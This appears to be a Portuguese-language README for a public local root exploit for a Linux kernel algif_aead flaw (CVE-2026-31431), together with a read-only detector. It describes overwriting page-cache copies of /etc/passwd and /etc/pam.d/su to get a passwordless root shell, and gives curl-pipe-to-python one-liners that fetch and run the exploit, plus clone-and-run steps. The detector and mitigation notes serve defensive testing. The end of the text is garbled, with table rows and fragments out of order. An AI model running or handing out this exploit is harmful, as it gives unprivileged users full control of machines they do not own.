
Local privilege escalation exploit for CVE-2026-31431 in Linux kernel's algif_aead, using splice to overwrite page cache and gain root. Includes a read-only detector.
CVE-2026-31431 é uma vulnerabilidade de escalonamento local de privilégios no subsistema algif_aead do kernel Linux. A implementação AEAD do authencesn realiza uma decriptação in-place via splice(2), inserindo uma página do page cache na lista de dispersão de destino. Um valor de 4 bytes do AAD (seqno_lo) é escrito de volta nessa página do page cache antes da verificação da tag de autenticação — permitindo que um usuário sem privilégios sobrescreva bytes arbitrários do page cache do kernel em qualquer arquivo legível por todos.
Vulnerável desde: kernel 4.14 (agosto de 2017) — quando authencesn foi introduzido no algif_aead
Correções lançadas para: apenas as linhas estáveis 6.12, 6.17 e 6.18
Permanentemente sem correção: kernels 4.14–6.11 (EOL; nenhum backport será emitido)
Primitivas necessárias: socket AF_ALG, cifra authencesn(hmac(sha256),cbc(aes)), splice(2) em um fd de socket AF_ALG
Impacto: Escalonamento local de privilégios para root — totalmente automatizado, sem necessidade de senha
O exploit aplica dois patches no page cache em sequência e, em seguida, executa su automaticamente:
Patch em /etc/passwd — abre o arquivo (legível por todos), popula seu page cache e usa a primitiva splice do authencesn para alterar o campo UID de 4 dígitos do usuário atual para 0000. Após o patch, getpwnam() reporta o usuário como UID 0.
Patch em /etc/pam.d/su — pam_rootok.so e pam_permit.so têm exatamente 13 caracteres cada. Duas escritas de 4 bytes substituem pam_rootok.so por pam_permit.so no page cache da configuração PAM. Como pam_permit sempre retorna PAM_SUCCESS, a linha auth sufficient existente é disparada imediatamente — nenhuma solicitação de senha é emitida.
Shell automático — o script executa . O PAM autentica sem senha (passo 2) e tem sucesso porque reporta UID 0 (passo 1). Um shell root é retornado sem nenhuma interação do usuário.
Nenhuma escrita em disco ocorre em nenhum momento. Limpar o page cache (echo 3 > /proc/sys/vm/drop_caches) ou reiniciar o sistema reverte completamente ambos os patches.
Apenas para testes autorizados. Execute somente em hosts que você possui ou está explicitamente contratado para avaliar.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Um shell root é retornado automaticamente — sem necessidade de senha.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG habilitado (padrão na maioria das distribuições)authencesn(hmac(sha256),cbc(aes)) carregável (padrão na maioria das distribuições)test_cve_2026_31431.py é um detector seguro e somente leitura incluído neste repositório. Ele exercita a primitiva splice do algif_aead contra um arquivo sentinela temporário criado em um diretório temporário — nenhum arquivo do sistema é tocado. Imprime um veredicto e encerra com um código bem definido:
| Código de saída | Significado |
|---|---|
0 | Não vulnerável — pré-condição não atendida ou page cache não foi modificado |
Execute assim:
# One-liner (sem instalação necessária)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Código de saída: $?"
# Ou a partir de um clone local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Código de saída: $?"
Exemplo de saída em kernel vulnerável:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
Exemplo de saída em kernel com correção aplicada:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead via /etc/modprobe.d: install algif_aead /bin/falseAF_ALG com políticas seccomp ou LSM.net/tls + crypto/algif_aead — isolamento da lista de dispersão de destino in-place do authencesnsu <usuário>setuid(0)getpwnam()1 | Erro no teste (ex.: AF_ALG indisponível, splice não suportado) |
2 | VULNERÁVEL — bytes marcadores foram inseridos na página do page cache spliceada |